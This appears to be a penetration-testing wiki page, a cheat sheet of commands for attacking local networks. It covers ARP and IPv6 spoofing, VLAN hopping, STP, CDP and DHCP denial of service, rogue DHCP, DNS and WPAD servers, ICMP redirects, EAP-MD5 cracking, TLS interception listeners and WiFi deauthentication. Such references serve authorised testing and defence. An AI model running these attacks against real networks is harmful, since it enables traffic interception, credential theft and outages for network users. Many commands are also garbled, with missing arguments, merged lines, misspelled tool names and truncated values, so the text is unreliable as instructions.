Physical attacks
Mobile Apps Pentesting

Pentesting Network

Discovering hosts


You can use these tools to passively discover hosts inside a connected network:

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap2
net.recon on/off
set true #more info

TODO: Passively discover hosts in external networks (whois, online tools, shodan, censys, virustotal...)


You can use these tools to actively discover hosts inside a connected network:

nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
nbtscan -r #Search in Domain
# Bettercap2 (By default ARP requests are sent)
net.probe on/off #Activate all service discover and ARP
net.probe.mdns #Search local mDNS services (Discover local)
net.probe.nbns #Ask for NetBios name (Discover local)
net.probe.upnp # Search services (Discover local)
net.probe.wsd # Search Web Services Discovery (Discover local)
net.probe.throttle 10 #10ms between requests sent (Discover local)
alive6 <IFACE> # Send a pingv6 to multicast.

TODO: Actively discover hosts in external networks (nmap, unicornscan...)

Wake On Land

#WOL (without MAC is used ff:...:ff)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

Scanning Hosts

nmap -sV -sC -O -T 4 -oA scan <IP> #Fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T 4 -p - -oA fullfastscan <IP> #Fast scan for all the ports
nmap -sV -sC -O -p - -oA fullscan <IP> #Scan every tcp port to know exactly what is running in that machine <IP> #Check if any of the most common udp services is running
nmap -sV -sC -T 4 #Check if any of the 1000 most common udp ports are running
#Bettercap2 Scan
syn.scan 1 10000 #Ports 1-10000

Nmap options


Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing.

If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address.


sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets


net.sniff on
net.sniff stats
net.sniff.output #Output file
net.sniff.local #Accept packets from this machine


LAN attacks

ARP spoofing

ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed.


arp.spoof on
arp.ban on # No ipv4-redirect
arp.spoof.internal #Spoofed local connections (by default only Victim <--> Gateway


echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t
arpspoof -t

MAC Flooding - CAM overflow

Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic).

macof -i <interface>

In modern switches this vulnerability has been fixed.

802.1Q VLAN

Dynamic Trunking

Many switches support the Dynamic Trunking Protocol (DTP) by default, however, which an adversary can abuse to emulate a switch and receive traffic across all VLANs. The tool can sniff an interface and reports if switch is in Default mode, trunk, dynamic, auto or access mode (this is the only one that would avoid VLAN hopping). The tool will indicate if the switch is vulnerable or not.

If it was discovered that the the network is vulnerable, you can use Yersinia to launch an "enable trunking" using protocol "DTP" and you will be able to see network packets from all the VLANs.

apt-get install yersinia #Installation
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

Attacking specific VLANs

Once you known VLAN IDs and IPs values,you can configure a virtual interface to attack a specific VLAN. If DHCP is not available, then use ifconfig to set a static IP address.

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr: Bcast: Mask:
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250

Automatic VLAN Hopper

The discussed attack of Dynamic Trunking and creating virtual interfaces an discovering hosts inside other VLANs are automatically performed by the tool:

Double Tagging

If an attacker knows the value of the MAC, IP and VLAN ID of the victim host, he could try to double tag a frame with its designated VLAN and the VLAN of the victim and send a packet. As the victim won't be able to connect back with the attacker, so the best option for the attacker is communicate via UDP to protocols than can perform some interesting actions (like SNMP).

Another option for the attacker is to launch a TCP port scan spoofing an IP controlled by the attacker and accessible by the victim (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim.

Layer 3 Private VLAN Bypass

In guest wireless networks and other environments, private VLAN (also known as port isolation) settings are used to prevent peers from interacting (i.e., clients connect to a wireless access point but cannot address one another). Depending on network ACLs (or lack thereof), it might be possible to send IP packets up to a router, which are then forwarded back to a neighbouring peer.

This attack will send a specially crafted packet to the IP of a client but with the MAC of the router. Then, the router will redirect the packet to the client. As in Double Tagging Attacks you can exploit this vulnerability by controlling a host accessible by the victim.

STP Attacks

If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.


Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly.

yersina stp -attack 2
yersina stp -attack 3
#Use -M to disable MAC spoofing

STP TCP Attack

When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub

yersina stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersina stp -attack 0 #Will send 1 CONF packet, nothing else will happen

STP Root Attack

The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches. This is done by sending BPDUs CONF packets saying that the priority value is less than the actual priority of the actual root switch.

yersina stp -attack 4 #Behaves like the root switch
yersina stp -attack 5 #This will make the device behaves as a switch but will not be root

If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him (a MITM attack will be performed).

yersina stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

CDP Attacks

CISCO Discovery Protocol is the protocol used by CISCO devices to talk among them, discover who is alive and what features does they have. You can make a DoS attack to a CISCO switch by exhausting the device memory simulating real CISCO devices.

You could use Yersina to capture CDP frames and show the information

sudo yersinia cdp -attack 1 #DoS Attack simulating new CISCO devices
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

You could also use scapy. Be sure to install it with scapy/contrib package.


Microsoft systems use Link-Local Multicast Name Resolution (LLMNR) and the NetBIOS Name Service (NBT-NS) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS (mDNS) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services.

You can impersonate services that are searched by hosts using Responder to send fake responses. Read here more information about how to Impersonate services with Responder.


Many browsers use Web Proxy Auto-Discovery (WPAD) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL (e.g., upon being identified through any of the following:

  • DHCP, using a code 252 entry34

  • DNS, searching for the wpad hostname in the local domain

  • Microsoft LLMNR and NBT-NS (in the event of DNS lookup failure)

Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS. Read here more information about how to Impersonate services with Responder.



nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered:
| DHCP Message Type: DHCPOFFER
| Server Identifier:
| IP Address Lease Time: 1m00s
| Subnet Mask:
| Router:
| Domain Name Server:
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds


Two types of DoS could be performed against DHCP servers. The first one consists on simulate enough fake hosts to use all the possible IP addresses. This attack will work only if you can see the responses of the DHCP server and complete the protocol (Discover (Comp) --> Offer (server) --> Request (Comp) --> ACK (server)). For example, this is not possible in Wifi networks.

Another way to perform a DHCP DoS is to send a DHCP-RELEASE packet using as source code every possible IP. Then, the server will think that everybody has finished using the IP.

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

A more automatic way of doing this is using the tool DHCPing

You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, you can server malicious values mentioned in the next attack.

Set malicious values

You can use Responder DHCP script (/usr/share/responder/ to establish a rogue DHCP server. Setting a malicious gateway is not ideal, because the hijacked connection is only half-duplex (i.e., we capture egress packets from the client, but not the responses from the legitimate gateway). As such, I would recommend setting a rogue DNS or WPAD server to capture HTTP traffic and credentials in particular.



Our IP address, advertised as a gateway


The local DNS domain name (optional)


IP address of the original router/gateway


Primary DNS server IP address


Secondary DNS server IP address (optional)


The netmask of the local network


The interface to listen for DHCP traffic on

-I eth1

WPAD configuration address (URL)

-w “\n”

Spoof the default gateway IP address


Respond to all DHCP requests (very noisy)



Here are some of the attack tactics that can be used against 802.1X implementations:

  • Active brute-force password grinding via EAP

  • Attacking the RADIUS server with malformed EAP content (exploits)

  • EAP message capture and offline password cracking (EAP-MD5 and PEAP)

  • Forcing EAP-MD5 authentication to bypass TLS certificate validation

  • Injecting malicious network traffic upon authenticating using a hub or similar

If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using:

eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt


Hot Standby Routing Protocol (HSRP) and the Virtual Router Redundancy Protocol (VRRP) are used in high-availability environments to provide failover support. Routers send packets to local multicast groups announcing configuration and priority details.

HSRP is a proprietary Cisco protocol with no RFC, whereas VRRP is standardized. To evaluate HSRP and VRRP support within an environment, use a network sniffer to capture the management traffic. You can use a number of tools to craft HSRP messages (including Scapy and Yersinia), but only Loki provides VRRP support at this time.

For more information about how to attack this protocols go to the book Network Security Assessment: Know Your Network (3rd edition)


Three versions of the Routing Information Protocol (RIP) exist—RIP, RIPv2, and RIPng. RIP and RIPv2 use UDP datagrams sent to peers via port 520, whereas RIPng broadcasts datagrams to UDP port 521 via IPv6 multicast. RIPv2 introduced MD5 authentication support. RIPng does not incorporate native authentication; rather, it relies on optional IPsec AH and ESP headers within IPv6.

For more information about how to attack this protocol go to the book Network Security Assessment: Know Your Network (3rd edition).


The Enhanced Interior Gateway Routing Protocol (EIGRP) is Cisco proprietary and can be run with or without authentication. Coly supports capture of EIGRP broadcasts and injection of packets to manipulate routing configuration.

For more information about how to attack this protocol go to the book Network Security Assessment: Know Your Network (3rd edition).


Most Open Shortest Path First (OSPF) implementations use MD5 to provide authentication between routers. Loki and John the Ripper can capture and attack MD5 hashes to reveal the key, which can then be used to advertise new routes. The route parameters are set by using the Injection tab, and the key set under Connection.

For more information about how to attack this protocol go to the book Network Security Assessment: Know Your Network (3rd edition).


The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses.

yersinia dhcp -attack 2 #More parameters are needed


ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker.

hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS Spoofing

The attacker will resolve some (or all) the domains that the victim ask for.

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

Configure own DNS with dnsmasq

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost # Test the configured DNS

Local Gateways

Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use to identify hosts that support IPv4 forwarding.

root@kali:~# git clone
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts ( 00:13:72:09:ad:76 Dell Inc. 00:90:27:43:c0:57 INTEL CORPORATION 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./ -f hosts.txt -i
gateway-finder v1.0
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping via 00:13:72:09:AD:76 []
[+] We can reach TCP port 80 on via 00:13:72:09:AD:76 []

Spoofing SSDP and UPnP devices

You can offer different services in the network to try to trick a user to enter some plain-text credentials. More information about this attack in Spoofing SSDP and UPnP Devices.

IPv6 Neighbor Spoofing

This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker.

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

IPv6 Router Advertisement Spoofing/Flooding

Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use:

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

IPv6 DHCP spoofing

By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim.

dhcp6.spoof on <list of domains>

HTTP (fake page and JS code injection)

Internet Attacks

TODO: sslstrip, easy-creds, responder, evilgrade, metasploit, factory

TCP listen in port

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

TCP + SSL listen in port

Generate keys and self-signed certificate

# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:

Listen using certificate

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

Listen using certificate and redirect to the hosts

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0

Some times, if the client checks that the CA is a valid one, you could serve a certificate of other hostname signed by a CA. Another interesting test, is to serve a certificate of the requested hostname but self-signed.

Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this.

Bettercap 2

## Events off #Stop showing events #Show all events 5 #Show latests 5 events
## Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
## Caplets
## Wifi
wifi.recon on
wifi.deauth BSSID
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

Active Discovery Notes

Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent.

ARP discover

ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond.

mDNS (multicast DNS)

Bettercap send a MDNS request (each X ms) asking for _services_.dns-sd._udp.local the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services".


  • Avahi-browser (--all)

  • Bettercap (net.probe.mdns)

  • Responder

NBNS (NetBios Name Server)

Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".

SSDP (Simple Service Discovery Protocol)

Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900).

WSD (Web Service Discovery)

Bettercap broadcast WSD packets searching for services (UDP Port 3702).

Wake On Lan

Wake On Lad is used to turn on computers through a network message. The magic packet used to turn on the computer is only a packet where a MAC Dst is provided and then it is repeated 16 times inside the same paket.

Then this kind of packets are usually sent in an ethernet 0x0842 or in a UDP packet to port 9.

If no [MAC] is provided, the packet is sent to broadcast ethernet (and the broadcast MAC will be the one being repeated).